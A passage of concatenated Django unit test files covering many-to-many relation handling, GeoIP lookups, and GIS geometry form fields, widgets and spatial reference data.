        # Bulk delete some Publications - references to deleted publications should go
        Publication.objects.filter(title__startswith='Science').delete()
        self.assertQuerysetEqual(
            Publication.objects.all(),
            [
                '<Publication: Highlights for Children>',
                '<Publication: The Python Journal>',
            ]
        )
        self.assertQuerysetEqual(
            Article.objects.all(),
            [
                '<Article: Django lets you build Web apps easily>',
                '<Article: NASA finds intelligent life on Earth>',
                '<Article: NASA uses Python>',
                '<Article: Oxygen-free diet works wonders>',
            ]
        )
        self.assertQuerysetEqual(
            self.a2.publications.all(),
            [
                '<Publication: Highlights for Children>',
                '<Publication: The Python Journal>',
            ]
        )

        # Bulk delete some articles - references to deleted objects should go
        q = Article.objects.filter(headline__startswith='Django')
        self.assertQuerysetEqual(q, ['<Article: Django lets you build Web apps easily>'])
        q.delete()
        # After the delete, the QuerySet cache needs to be cleared,
        # and the referenced objects should be gone
        self.assertQuerysetEqual(q, [])
        self.assertQuerysetEqual(self.p1.article_set.all(), ['<Article: NASA uses Python>'])

    def test_remove(self):
        # Removing publication from an article:
        self.assertQuerysetEqual(
            self.p2.article_set.all(),
            [
                '<Article: NASA finds intelligent life on Earth>',
                '<Article: NASA uses Python>',
                '<Article: Oxygen-free diet works wonders>',
            ]
        )
        self.a4.publications.remove(self.p2)
        self.assertQuerysetEqual(
            self.p2.article_set.all(),
            [
                '<Article: NASA finds intelligent life on Earth>',
                '<Article: NASA uses Python>',
            ]
        )
        self.assertQuerysetEqual(self.a4.publications.all(), [])
        # And from the other end
        self.p2.article_set.remove(self.a3)
        self.assertQuerysetEqual(self.p2.article_set.all(), ['<Article: NASA uses Python>'])
        self.assertQuerysetEqual(self.a3.publications.all(), [])

    def test_set(self):
        self.p2.article_set.set([self.a4, self.a3])
        self.assertQuerysetEqual(
            self.p2.article_set.all(),
            [
                '<Article: NASA finds intelligent life on Earth>',
                '<Article: Oxygen-free diet works wonders>',
            ]
        )
        self.assertQuerysetEqual(self.a4.publications.all(), ['<Publication: Science News>'])
        self.a4.publications.set([self.p3.id])
        self.assertQuerysetEqual(self.p2.article_set.all(), ['<Article: NASA finds intelligent life on Earth>'])
        self.assertQuerysetEqual(self.a4.publications.all(), ['<Publication: Science Weekly>'])

        self.p2.article_set.set([])
        self.assertQuerysetEqual(self.p2.article_set.all(), [])
        self.a4.publications.set([])
        self.assertQuerysetEqual(self.a4.publications.all(), [])

        self.p2.article_set.set([self.a4, self.a3], clear=True)
        self.assertQuerysetEqual(
            self.p2.article_set.all(),
            [
                '<Article: NASA finds intelligent life on Earth>',
                '<Article: Oxygen-free diet works wonders>',
            ]
        )
        self.assertQuerysetEqual(self.a4.publications.all(), ['<Publication: Science News>'])
        self.a4.publications.set([self.p3.id], clear=True)
        self.assertQuerysetEqual(self.p2.article_set.all(), ['<Article: NASA finds intelligent life on Earth>'])
        self.assertQuerysetEqual(self.a4.publications.all(), ['<Publication: Science Weekly>'])

        self.p2.article_set.set([], clear=True)
        self.assertQuerysetEqual(self.p2.article_set.all(), [])
        self.a4.publications.set([], clear=True)
        self.assertQuerysetEqual(self.a4.publications.all(), [])

    def test_assign_forward_deprecation(self):
        msg = (
            "Direct assignment to the reverse side of a many-to-many set is "
            "deprecated due to the implicit save() that happens. Use "
            "article_set.set() instead."
        )
        with self.assertRaisesMessage(RemovedInDjango20Warning, msg):
            self.p2.article_set = [self.a4, self.a3]

    def test_assign_reverse_deprecation(self):
        msg = (
            "Direct assignment to the forward side of a many-to-many "
            "set is deprecated due to the implicit save() that happens. Use "
            "publications.set() instead."
        )
        with self.assertRaisesMessage(RemovedInDjango20Warning, msg):
            self.a1.publications = [self.p1, self.p2]

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_assign_deprecated(self):
        self.p2.article_set = [self.a4, self.a3]
        self.assertQuerysetEqual(
            self.p2.article_set.all(),
            [
                '<Article: NASA finds intelligent life on Earth>',
                '<Article: Oxygen-free diet works wonders>',
            ]
        )
        self.assertQuerysetEqual(self.a4.publications.all(), ['<Publication: Science News>'])
        self.a4.publications = [self.p3.id]
        self.assertQuerysetEqual(self.p2.article_set.all(), ['<Article: NASA finds intelligent life on Earth>'])
        self.assertQuerysetEqual(self.a4.publications.all(), ['<Publication: Science Weekly>'])

        # An alternate to calling clear() is to assign the empty set
        self.p2.article_set = []
        self.assertQuerysetEqual(self.p2.article_set.all(), [])
        self.a4.publications = []
        self.assertQuerysetEqual(self.a4.publications.all(), [])

    def test_assign(self):
        # Relation sets can be assigned using set().
        self.p2.article_set.set([self.a4, self.a3])
        self.assertQuerysetEqual(
            self.p2.article_set.all(), [
                '<Article: NASA finds intelligent life on Earth>',
                '<Article: Oxygen-free diet works wonders>',
            ]
        )
        self.assertQuerysetEqual(self.a4.publications.all(), ['<Publication: Science News>'])
        self.a4.publications.set([self.p3.id])
        self.assertQuerysetEqual(self.p2.article_set.all(), ['<Article: NASA finds intelligent life on Earth>'])
        self.assertQuerysetEqual(self.a4.publications.all(), ['<Publication: Science Weekly>'])

        # An alternate to calling clear() is to set an empty set.
        self.p2.article_set.set([])
        self.assertQuerysetEqual(self.p2.article_set.all(), [])
        self.a4.publications.set([])
        self.assertQuerysetEqual(self.a4.publications.all(), [])

    def test_assign_ids(self):
        # Relation sets can also be set using primary key values
        self.p2.article_set.set([self.a4.id, self.a3.id])
        self.assertQuerysetEqual(
            self.p2.article_set.all(),
            [
                '<Article: NASA finds intelligent life on Earth>',
                '<Article: Oxygen-free diet works wonders>',
            ]
        )
        self.assertQuerysetEqual(self.a4.publications.all(), ['<Publication: Science News>'])
        self.a4.publications.set([self.p3.id])
        self.assertQuerysetEqual(self.p2.article_set.all(), ['<Article: NASA finds intelligent life on Earth>'])
        self.assertQuerysetEqual(self.a4.publications.all(), ['<Publication: Science Weekly>'])

    def test_forward_assign_with_queryset(self):
        # Ensure that querysets used in m2m assignments are pre-evaluated
        # so their value isn't affected by the clearing operation in
        # ManyRelatedManager.set() (#19816).
        self.a1.publications.set([self.p1, self.p2])

        qs = self.a1.publications.filter(title='The Python Journal')
        self.a1.publications.set(qs)

        self.assertEqual(1, self.a1.publications.count())
        self.assertEqual(1, qs.count())

    def test_reverse_assign_with_queryset(self):
        # Ensure that querysets used in M2M assignments are pre-evaluated
        # so their value isn't affected by the clearing operation in
        # ManyRelatedManager.set() (#19816).
        self.p1.article_set.set([self.a1, self.a2])

        qs = self.p1.article_set.filter(headline='Django lets you build Web apps easily')
        self.p1.article_set.set(qs)

        self.assertEqual(1, self.p1.article_set.count())
        self.assertEqual(1, qs.count())

    def test_clear(self):
        # Relation sets can be cleared:
        self.p2.article_set.clear()
        self.assertQuerysetEqual(self.p2.article_set.all(), [])
        self.assertQuerysetEqual(self.a4.publications.all(), [])

        # And you can clear from the other end
        self.p2.article_set.add(self.a3, self.a4)
        self.assertQuerysetEqual(
            self.p2.article_set.all(),
            [
                '<Article: NASA finds intelligent life on Earth>',
                '<Article: Oxygen-free diet works wonders>',
            ]
        )
        self.assertQuerysetEqual(self.a4.publications.all(), ['<Publication: Science News>'])
        self.a4.publications.clear()
        self.assertQuerysetEqual(self.a4.publications.all(), [])
        self.assertQuerysetEqual(self.p2.article_set.all(), ['<Article: NASA finds intelligent life on Earth>'])

    def test_clear_after_prefetch(self):
        a4 = Article.objects.prefetch_related('publications').get(id=self.a4.id)
        self.assertQuerysetEqual(a4.publications.all(), ['<Publication: Science News>'])
        a4.publications.clear()
        self.assertQuerysetEqual(a4.publications.all(), [])

    def test_remove_after_prefetch(self):
        a4 = Article.objects.prefetch_related('publications').get(id=self.a4.id)
        self.assertQuerysetEqual(a4.publications.all(), ['<Publication: Science News>'])
        a4.publications.remove(self.p2)
        self.assertQuerysetEqual(a4.publications.all(), [])

    def test_add_after_prefetch(self):
        a4 = Article.objects.prefetch_related('publications').get(id=self.a4.id)
        self.assertEqual(a4.publications.count(), 1)
        a4.publications.add(self.p1)
        self.assertEqual(a4.publications.count(), 2)

    def test_set_after_prefetch(self):
        a4 = Article.objects.prefetch_related('publications').get(id=self.a4.id)
        self.assertEqual(a4.publications.count(), 1)
        a4.publications.set([self.p2, self.p1])
        self.assertEqual(a4.publications.count(), 2)
        a4.publications.set([self.p1])
        self.assertEqual(a4.publications.count(), 1)

    def test_add_then_remove_after_prefetch(self):
        a4 = Article.objects.prefetch_related('publications').get(id=self.a4.id)
        self.assertEqual(a4.publications.count(), 1)
        a4.publications.add(self.p1)
        self.assertEqual(a4.publications.count(), 2)
        a4.publications.remove(self.p1)
        self.assertQuerysetEqual(a4.publications.all(), ['<Publication: Science News>'])

    def test_inherited_models_selects(self):
        """
        #24156 - Objects from child models where the parent's m2m field uses
        related_name='+' should be retrieved correctly.
        """
        a = InheritedArticleA.objects.create()
        b = InheritedArticleB.objects.create()
        a.publications.add(self.p1, self.p2)
        self.assertQuerysetEqual(
            a.publications.all(),
            [
                '<Publication: Science News>',
                '<Publication: The Python Journal>',
            ])
        self.assertQuerysetEqual(b.publications.all(), [])
        b.publications.add(self.p3)
        self.assertQuerysetEqual(
            a.publications.all(),
            [
                '<Publication: Science News>',
                '<Publication: The Python Journal>',
            ]
        )
        self.assertQuerysetEqual(b.publications.all(), ['<Publication: Science Weekly>'])






from unittest import skipUnless

from django.contrib.gis.geos import HAS_GEOS, GEOSGeometry
from django.contrib.gis.utils.wkt import precision_wkt
from django.test import SimpleTestCase, ignore_warnings
from django.utils.deprecation import RemovedInDjango20Warning


@skipUnless(HAS_GEOS, "Requires GEOS support")
class WktTest(SimpleTestCase):

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_wkt(self):
        point = GEOSGeometry('POINT (951640.547328465 4219369.26171664)')
        self.assertEqual('POINT(951640.547328 4219369.261717)', precision_wkt(point, 6))
        self.assertEqual('POINT(951640.5473 4219369.2617)', precision_wkt(point, '%.4f'))

        multipoint = GEOSGeometry(
            "SRID=4326;MULTIPOINT((13.18634033203125 14.504356384277344),"
            "(13.207969665527 14.490966796875),(13.177070617675 14.454917907714))"
        )
        self.assertEqual(
            "MULTIPOINT(13.186340332031 14.504356384277,"
            "13.207969665527 14.490966796875,13.177070617675 14.454917907714)",
            precision_wkt(multipoint, 12)
        )






from django.core.exceptions import ImproperlyConfigured
from django.db import models


class DummyField(models.Field):
    def __init__(self, dim=None, srid=None, geography=None, spatial_index=True, *args, **kwargs):
        super(DummyField, self).__init__(*args, **kwargs)


try:
    from django.contrib.gis.db import models
    # Store a version of the original raster field for testing the exception
    # raised if GDAL isn't installed.
    models.OriginalRasterField = models.RasterField
except ImproperlyConfigured:
    models.GeometryField = DummyField
    models.LineStringField = DummyField
    models.MultiPointField = DummyField
    models.MultiPolygonField = DummyField
    models.PointField = DummyField
    models.PolygonField = DummyField
    models.RasterField = DummyField

try:
    models.RasterField()
except ImproperlyConfigured:
    models.RasterField = DummyField






try:
    from django.contrib.gis import admin
except ImportError:
    from django.contrib import admin

    admin.OSMGeoAdmin = admin.ModelAdmin






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import os
import socket
import unittest
import warnings
from unittest import skipUnless

from django.conf import settings
from django.contrib.gis.geoip import HAS_GEOIP
from django.contrib.gis.geos import HAS_GEOS, GEOSGeometry
from django.test import ignore_warnings
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_text

if HAS_GEOIP:
    from django.contrib.gis.geoip import GeoIP, GeoIPException
    from django.contrib.gis.geoip.prototypes import GeoIP_lib_version


# Note: Requires use of both the GeoIP country and city datasets.
# The GEOIP_DATA path should be the only setting set (the directory
# should contain links or the actual database files 'GeoIP.dat' and
# 'GeoLiteCity.dat'.


@skipUnless(
    HAS_GEOIP and getattr(settings, "GEOIP_PATH", None),
    "GeoIP is required along with the GEOIP_PATH setting."
)
@ignore_warnings(category=RemovedInDjango20Warning)
class GeoIPTest(unittest.TestCase):
    addr = '128.249.1.1'
    fqdn = 'tmc.edu'

    def _is_dns_available(self, domain):
        # Naive check to see if there is DNS available to use.
        # Used to conditionally skip fqdn geoip checks.
        # See #25407 for details.
        ErrClass = socket.error if six.PY2 else OSError
        try:
            socket.gethostbyname(domain)
            return True
        except ErrClass:
            return False

    def test01_init(self):
        "Testing GeoIP initialization."
        g1 = GeoIP()  # Everything inferred from GeoIP path
        path = settings.GEOIP_PATH
        g2 = GeoIP(path, 0)  # Passing in data path explicitly.
        g3 = GeoIP.open(path, 0)  # MaxMind Python API syntax.

        for g in (g1, g2, g3):
            self.assertTrue(g._country)
            self.assertTrue(g._city)

        # Only passing in the location of one database.
        city = os.path.join(path, 'GeoLiteCity.dat')
        cntry = os.path.join(path, 'GeoIP.dat')
        g4 = GeoIP(city, country='')
        self.assertIsNone(g4._country)
        g5 = GeoIP(cntry, city='')
        self.assertIsNone(g5._city)

        # Improper parameters.
        bad_params = (23, 'foo', 15.23)
        for bad in bad_params:
            with self.assertRaises(GeoIPException):
                GeoIP(cache=bad)
            if isinstance(bad, six.string_types):
                e = GeoIPException
            else:
                e = TypeError
            with self.assertRaises(e):
                GeoIP(bad, 0)

    def test02_bad_query(self):
        "Testing GeoIP query parameter checking."
        cntry_g = GeoIP(city='<foo>')
        # No city database available, these calls should fail.
        with self.assertRaises(GeoIPException):
            cntry_g.city('google.com')
        with self.assertRaises(GeoIPException):
            cntry_g.coords('yahoo.com')

        # Non-string query should raise TypeError
        with self.assertRaises(TypeError):
            cntry_g.country_code(17)
        with self.assertRaises(TypeError):
            cntry_g.country_name(GeoIP)

    def test03_country(self):
        "Testing GeoIP country querying methods."
        g = GeoIP(city='<foo>')

        queries = [self.addr]
        if self._is_dns_available(self.fqdn):
            queries.append(self.fqdn)
        for query in queries:
            for func in (g.country_code, g.country_code_by_addr, g.country_code_by_name):
                self.assertEqual('US', func(query), 'Failed for func %s and query %s' % (func, query))
            for func in (g.country_name, g.country_name_by_addr, g.country_name_by_name):
                self.assertEqual('United States', func(query), 'Failed for func %s and query %s' % (func, query))
            self.assertEqual({'country_code': 'US', 'country_name': 'United States'},
                             g.country(query))

    @skipUnless(HAS_GEOS, "Geos is required")
    def test04_city(self):
        "Testing GeoIP city querying methods."
        g = GeoIP(country='<foo>')

        queries = [self.addr]
        if self._is_dns_available(self.fqdn):
            queries.append(self.fqdn)
        for query in queries:
            # Country queries should still work.
            for func in (g.country_code, g.country_code_by_addr, g.country_code_by_name):
                self.assertEqual('US', func(query))
            for func in (g.country_name, g.country_name_by_addr, g.country_name_by_name):
                self.assertEqual('United States', func(query))
            self.assertEqual({'country_code': 'US', 'country_name': 'United States'},
                             g.country(query))

            # City information dictionary.
            d = g.city(query)
            self.assertEqual('USA', d['country_code3'])
            self.assertEqual('Houston', d['city'])
            self.assertEqual('TX', d['region'])
            self.assertEqual(713, d['area_code'])
            geom = g.geos(query)
            self.assertIsInstance(geom, GEOSGeometry)
            lon, lat = (-95.4010, 29.7079)
            lat_lon = g.lat_lon(query)
            lat_lon = (lat_lon[1], lat_lon[0])
            for tup in (geom.tuple, g.coords(query), g.lon_lat(query), lat_lon):
                self.assertAlmostEqual(lon, tup[0], 0)
                self.assertAlmostEqual(lat, tup[1], 0)

    def test05_unicode_response(self):
        "Testing that GeoIP strings are properly encoded, see #16553."
        g = GeoIP()
        fqdn = "hs-duesseldorf.de"
        if self._is_dns_available(fqdn):
            d = g.city(fqdn)
            self.assertEqual('Düsseldorf', d['city'])
        d = g.country('200.26.205.1')
        # Some databases have only unaccented countries
        self.assertIn(d['country_name'], ('Curaçao', 'Curacao'))

    def test_deprecation_warning(self):
        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always')
            GeoIP()

        self.assertEqual(len(warns), 1)
        msg = str(warns[0].message)
        self.assertIn('django.contrib.gis.geoip is deprecated', msg)

    def test_repr(self):
        path = settings.GEOIP_PATH
        g = GeoIP(path=path)
        country_path = g._country_file
        city_path = g._city_file
        if GeoIP_lib_version:
            expected = '<GeoIP [v%(version)s] _country_file="%(country)s", _city_file="%(city)s">' % {
                'version': force_text(GeoIP_lib_version()),
                'country': country_path,
                'city': city_path,
            }
        else:
            expected = '<GeoIP _country_file="%(country)s", _city_file="%(city)s">' % {
                'country': country_path,
                'city': city_path,
            }
        self.assertEqual(repr(g), expected)






from django.contrib.gis import forms
from django.contrib.gis.geos import GEOSGeometry
from django.forms import ValidationError
from django.test import SimpleTestCase, override_settings, skipUnlessDBFeature
from django.test.utils import patch_logger
from django.utils.html import escape


@skipUnlessDBFeature("gis_enabled")
class GeometryFieldTest(SimpleTestCase):

    def test_init(self):
        "Testing GeometryField initialization with defaults."
        fld = forms.GeometryField()
        for bad_default in ('blah', 3, 'FoO', None, 0):
            with self.assertRaises(ValidationError):
                fld.clean(bad_default)

    def test_srid(self):
        "Testing GeometryField with a SRID set."
        # Input that doesn't specify the SRID is assumed to be in the SRID
        # of the input field.
        fld = forms.GeometryField(srid=4326)
        geom = fld.clean('POINT(5 23)')
        self.assertEqual(4326, geom.srid)
        # Making the field in a different SRID from that of the geometry, and
        # asserting it transforms.
        fld = forms.GeometryField(srid=32140)
        tol = 0.0000001
        xform_geom = GEOSGeometry('POINT (951640.547328465 4219369.26171664)', srid=32140)
        # The cleaned geometry should be transformed to 32140.
        cleaned_geom = fld.clean('SRID=4326;POINT (-95.363151 29.763374)')
        self.assertTrue(xform_geom.equals_exact(cleaned_geom, tol))

    def test_null(self):
        "Testing GeometryField's handling of null (None) geometries."
        # Form fields, by default, are required (`required=True`)
        fld = forms.GeometryField()
        with self.assertRaisesMessage(forms.ValidationError, "No geometry value provided."):
            fld.clean(None)

        # This will clean None as a geometry (See #10660).
        fld = forms.GeometryField(required=False)
        self.assertIsNone(fld.clean(None))

    def test_geom_type(self):
        "Testing GeometryField's handling of different geometry types."
        # By default, all geometry types are allowed.
        fld = forms.GeometryField()
        for wkt in ('POINT(5 23)', 'MULTIPOLYGON(((0 0, 0 1, 1 1, 1 0, 0 0)))', 'LINESTRING(0 0, 1 1)'):
            self.assertEqual(GEOSGeometry(wkt), fld.clean(wkt))

        pnt_fld = forms.GeometryField(geom_type='POINT')
        self.assertEqual(GEOSGeometry('POINT(5 23)'), pnt_fld.clean('POINT(5 23)'))
        # a WKT for any other geom_type will be properly transformed by `to_python`
        self.assertEqual(GEOSGeometry('LINESTRING(0 0, 1 1)'), pnt_fld.to_python('LINESTRING(0 0, 1 1)'))
        # but rejected by `clean`
        with self.assertRaises(forms.ValidationError):
            pnt_fld.clean('LINESTRING(0 0, 1 1)')

    def test_to_python(self):
        """
        Testing to_python returns a correct GEOSGeometry object or
        a ValidationError
        """
        fld = forms.GeometryField()
        # to_python returns the same GEOSGeometry for a WKT
        for wkt in ('POINT(5 23)', 'MULTIPOLYGON(((0 0, 0 1, 1 1, 1 0, 0 0)))', 'LINESTRING(0 0, 1 1)'):
            self.assertEqual(GEOSGeometry(wkt), fld.to_python(wkt))
        # but raises a ValidationError for any other string
        for wkt in ('POINT(5)', 'MULTI   POLYGON(((0 0, 0 1, 1 1, 1 0, 0 0)))', 'BLAH(0 0, 1 1)'):
            with self.assertRaises(forms.ValidationError):
                fld.to_python(wkt)

    def test_field_with_text_widget(self):
        class PointForm(forms.Form):
            pt = forms.PointField(srid=4326, widget=forms.TextInput)

        form = PointForm()
        cleaned_pt = form.fields['pt'].clean('POINT(5 23)')
        self.assertEqual(cleaned_pt, GEOSGeometry('POINT(5 23)'))
        self.assertEqual(4326, cleaned_pt.srid)

        point = GEOSGeometry('SRID=4326;POINT(5 23)')
        form = PointForm(data={'pt': 'POINT(5 23)'}, initial={'pt': point})
        self.assertFalse(form.has_changed())

    def test_field_string_value(self):
        """
        Initialization of a geometry field with a valid/empty/invalid string.
        Only the invalid string should trigger an error log entry.
        """
        class PointForm(forms.Form):
            pt1 = forms.PointField(srid=4326)
            pt2 = forms.PointField(srid=4326)
            pt3 = forms.PointField(srid=4326)

        form = PointForm({
            'pt1': 'SRID=4326;POINT(7.3 44)',  # valid
            'pt2': '',  # empty
            'pt3': 'PNT(0)',  # invalid
        })

        with patch_logger('django.contrib.gis', 'error') as logger_calls:
            output = str(form)

        self.assertInHTML(
            '<textarea id="id_pt1" class="vSerializedField required" cols="150"'
            ' rows="10" name="pt1">POINT (7.3 44)</textarea>',
            output
        )
        self.assertInHTML(
            '<textarea id="id_pt2" class="vSerializedField required" cols="150"'
            ' rows="10" name="pt2"></textarea>',
            output
        )
        self.assertInHTML(
            '<textarea id="id_pt3" class="vSerializedField required" cols="150"'
            ' rows="10" name="pt3"></textarea>',
            output
        )
        # Only the invalid PNT(0) should trigger an error log entry
        self.assertEqual(len(logger_calls), 1)
        self.assertEqual(
            logger_calls[0],
            "Error creating geometry from value 'PNT(0)' (String or unicode input "
            "unrecognized as WKT EWKT, and HEXEWKB.)"
        )


@skipUnlessDBFeature("gis_enabled")
class SpecializedFieldTest(SimpleTestCase):
    def setUp(self):
        self.geometries = {
            'point': GEOSGeometry("SRID=4326;POINT(9.052734375 42.451171875)"),
            'multipoint': GEOSGeometry("SRID=4326;MULTIPOINT("
                                       "(13.18634033203125 14.504356384277344),"
                                       "(13.207969665527 14.490966796875),"
                                       "(13.177070617675 14.454917907714))"),
            'linestring': GEOSGeometry("SRID=4326;LINESTRING("
                                       "-8.26171875 -0.52734375,"
                                       "-7.734375 4.21875,"
                                       "6.85546875 3.779296875,"
                                       "5.44921875 -3.515625)"),
            'multilinestring': GEOSGeometry("SRID=4326;MULTILINESTRING("
                                            "(-16.435546875 -2.98828125,"
                                            "-17.2265625 2.98828125,"
                                            "-0.703125 3.515625,"
                                            "-1.494140625 -3.33984375),"
                                            "(-8.0859375 -5.9765625,"
                                            "8.525390625 -8.7890625,"
                                            "12.392578125 -0.87890625,"
                                            "10.01953125 7.646484375))"),
            'polygon': GEOSGeometry("SRID=4326;POLYGON("
                                    "(-1.669921875 6.240234375,"
                                    "-3.8671875 -0.615234375,"
                                    "5.9765625 -3.955078125,"
                                    "18.193359375 3.955078125,"
                                    "9.84375 9.4921875,"
                                    "-1.669921875 6.240234375))"),
            'multipolygon': GEOSGeometry("SRID=4326;MULTIPOLYGON("
                                         "((-17.578125 13.095703125,"
                                         "-17.2265625 10.8984375,"
                                         "-13.974609375 10.1953125,"
                                         "-13.359375 12.744140625,"
                                         "-15.732421875 13.7109375,"
                                         "-17.578125 13.095703125)),"
                                         "((-8.525390625 5.537109375,"
                                         "-8.876953125 2.548828125,"
                                         "-5.888671875 1.93359375,"
                                         "-5.09765625 4.21875,"
                                         "-6.064453125 6.240234375,"
                                         "-8.525390625 5.537109375)))"),
            'geometrycollection': GEOSGeometry("SRID=4326;GEOMETRYCOLLECTION("
                                               "POINT(5.625 -0.263671875),"
                                               "POINT(6.767578125 -3.603515625),"
                                               "POINT(8.525390625 0.087890625),"
                                               "POINT(8.0859375 -2.13134765625),"
                                               "LINESTRING("
                                               "6.273193359375 -1.175537109375,"
                                               "5.77880859375 -1.812744140625,"
                                               "7.27294921875 -2.230224609375,"
                                               "7.657470703125 -1.25244140625))"),
        }

    def assertMapWidget(self, form_instance):
        """
        Make sure the MapWidget js is passed in the form media and a MapWidget
        is actually created
        """
        self.assertTrue(form_instance.is_valid())
        rendered = form_instance.as_p()
        self.assertIn('new MapWidget(options);', rendered)
        self.assertIn('map_srid: 4326,', rendered)
        self.assertIn('gis/js/OLMapWidget.js', str(form_instance.media))

    def assertTextarea(self, geom, rendered):
        """Makes sure the wkt and a textarea are in the content"""

        self.assertIn('<textarea ', rendered)
        self.assertIn('required', rendered)
        self.assertIn(geom.wkt, rendered)

    # map_srid in operlayers.html template must not be localized.
    @override_settings(USE_L10N=True, USE_THOUSAND_SEPARATOR=True)
    def test_pointfield(self):
        class PointForm(forms.Form):
            p = forms.PointField()

        geom = self.geometries['point']
        form = PointForm(data={'p': geom})
        self.assertTextarea(geom, form.as_p())
        self.assertMapWidget(form)
        self.assertFalse(PointForm().is_valid())
        invalid = PointForm(data={'p': 'some invalid geom'})
        self.assertFalse(invalid.is_valid())
        self.assertIn('Invalid geometry value', str(invalid.errors))

        for invalid in [geo for key, geo in self.geometries.items() if key != 'point']:
            self.assertFalse(PointForm(data={'p': invalid.wkt}).is_valid())

    def test_multipointfield(self):
        class PointForm(forms.Form):
            p = forms.MultiPointField()

        geom = self.geometries['multipoint']
        form = PointForm(data={'p': geom})
        self.assertTextarea(geom, form.as_p())
        self.assertMapWidget(form)
        self.assertFalse(PointForm().is_valid())

        for invalid in [geo for key, geo in self.geometries.items() if key != 'multipoint']:
            self.assertFalse(PointForm(data={'p': invalid.wkt}).is_valid())

    def test_linestringfield(self):
        class LineStringForm(forms.Form):
            l = forms.LineStringField()

        geom = self.geometries['linestring']
        form = LineStringForm(data={'l': geom})
        self.assertTextarea(geom, form.as_p())
        self.assertMapWidget(form)
        self.assertFalse(LineStringForm().is_valid())

        for invalid in [geo for key, geo in self.geometries.items() if key != 'linestring']:
            self.assertFalse(LineStringForm(data={'p': invalid.wkt}).is_valid())

    def test_multilinestringfield(self):
        class LineStringForm(forms.Form):
            l = forms.MultiLineStringField()

        geom = self.geometries['multilinestring']
        form = LineStringForm(data={'l': geom})
        self.assertTextarea(geom, form.as_p())
        self.assertMapWidget(form)
        self.assertFalse(LineStringForm().is_valid())

        for invalid in [geo for key, geo in self.geometries.items() if key != 'multilinestring']:
            self.assertFalse(LineStringForm(data={'p': invalid.wkt}).is_valid())

    def test_polygonfield(self):
        class PolygonForm(forms.Form):
            p = forms.PolygonField()

        geom = self.geometries['polygon']
        form = PolygonForm(data={'p': geom})
        self.assertTextarea(geom, form.as_p())
        self.assertMapWidget(form)
        self.assertFalse(PolygonForm().is_valid())

        for invalid in [geo for key, geo in self.geometries.items() if key != 'polygon']:
            self.assertFalse(PolygonForm(data={'p': invalid.wkt}).is_valid())

    def test_multipolygonfield(self):
        class PolygonForm(forms.Form):
            p = forms.MultiPolygonField()

        geom = self.geometries['multipolygon']
        form = PolygonForm(data={'p': geom})
        self.assertTextarea(geom, form.as_p())
        self.assertMapWidget(form)
        self.assertFalse(PolygonForm().is_valid())

        for invalid in [geo for key, geo in self.geometries.items() if key != 'multipolygon']:
            self.assertFalse(PolygonForm(data={'p': invalid.wkt}).is_valid())

    def test_geometrycollectionfield(self):
        class GeometryForm(forms.Form):
            g = forms.GeometryCollectionField()

        geom = self.geometries['geometrycollection']
        form = GeometryForm(data={'g': geom})
        self.assertTextarea(geom, form.as_p())
        self.assertMapWidget(form)
        self.assertFalse(GeometryForm().is_valid())

        for invalid in [geo for key, geo in self.geometries.items() if key != 'geometrycollection']:
            self.assertFalse(GeometryForm(data={'g': invalid.wkt}).is_valid())


@skipUnlessDBFeature("gis_enabled")
class OSMWidgetTest(SimpleTestCase):
    def setUp(self):
        self.geometries = {
            'point': GEOSGeometry("SRID=4326;POINT(9.052734375 42.451171875)"),
        }

    def test_osm_widget(self):
        class PointForm(forms.Form):
            p = forms.PointField(widget=forms.OSMWidget)

        geom = self.geometries['point']
        form = PointForm(data={'p': geom})
        rendered = form.as_p()

        self.assertIn("OpenStreetMap (Mapnik)", rendered)
        self.assertIn("id: 'id_p',", rendered)

    def test_default_lat_lon(self):
        class PointForm(forms.Form):
            p = forms.PointField(
                widget=forms.OSMWidget(attrs={
                    'default_lon': 20, 'default_lat': 30
                }),
            )

        form = PointForm()
        rendered = form.as_p()

        self.assertIn("options['default_lon'] = 20;", rendered)
        self.assertIn("options['default_lat'] = 30;", rendered)
        if forms.OSMWidget.default_lon != 20:
            self.assertNotIn(
                "options['default_lon'] = %d;" % forms.OSMWidget.default_lon,
                rendered)
        if forms.OSMWidget.default_lat != 30:
            self.assertNotIn(
                "options['default_lat'] = %d;" % forms.OSMWidget.default_lat,
                rendered)


@skipUnlessDBFeature("gis_enabled")
class CustomGeometryWidgetTest(SimpleTestCase):

    def test_custom_serialization_widget(self):
        class CustomGeometryWidget(forms.BaseGeometryWidget):
            template_name = 'gis/openlayers.html'
            deserialize_called = 0

            def serialize(self, value):
                return value.json if value else ''

            def deserialize(self, value):
                self.deserialize_called += 1
                return GEOSGeometry(value)

        class PointForm(forms.Form):
            p = forms.PointField(widget=CustomGeometryWidget)

        point = GEOSGeometry("SRID=4326;POINT(9.052734375 42.451171875)")
        form = PointForm(data={'p': point})
        self.assertIn(escape(point.json), form.as_p())

        CustomGeometryWidget.called = 0
        widget = form.fields['p'].widget
        # Force deserialize use due to a string value
        self.assertIn(escape(point.json), widget.render('p', point.json))
        self.assertEqual(widget.deserialize_called, 1)

        form = PointForm(data={'p': point.json})
        self.assertTrue(form.is_valid())
        # Ensure that resulting geometry has srid set
        self.assertEqual(form.cleaned_data['p'].srid, 4326)






import re
import unittest

from django.test import skipUnlessDBFeature
from django.utils import six

from .utils import SpatialRefSys, oracle, postgis, spatialite

test_srs = ({
    'srid': 4326,
    'auth_name': ('EPSG', True),
    'auth_srid': 4326,
    # Only the beginning, because there are differences depending on installed libs
    'srtext': 'GEOGCS["WGS 84",DATUM["WGS_1984",SPHEROID["WGS 84"',
    # +ellps=WGS84 has been removed in the 4326 proj string in proj-4.8
    'proj4_re': r'\+proj=longlat (\+ellps=WGS84 )?(\+datum=WGS84 |\+towgs84=0,0,0,0,0,0,0 )\+no_defs ',
    'spheroid': 'WGS 84', 'name': 'WGS 84',
    'geographic': True, 'projected': False, 'spatialite': True,
    # From proj's "cs2cs -le" and Wikipedia (semi-minor only)
    'ellipsoid': (6378137.0, 6356752.3, 298.257223563),
    'eprec': (1, 1, 9),
    'wkt': re.sub('[\s+]', '', """
        GEOGCS["WGS 84",
    DATUM["WGS_1984",
        SPHEROID["WGS 84",6378137,298.257223563,
            AUTHORITY["EPSG","7030"]],
        AUTHORITY["EPSG","6326"]],
    PRIMEM["Greenwich",0,
        AUTHORITY["EPSG","8901"]],
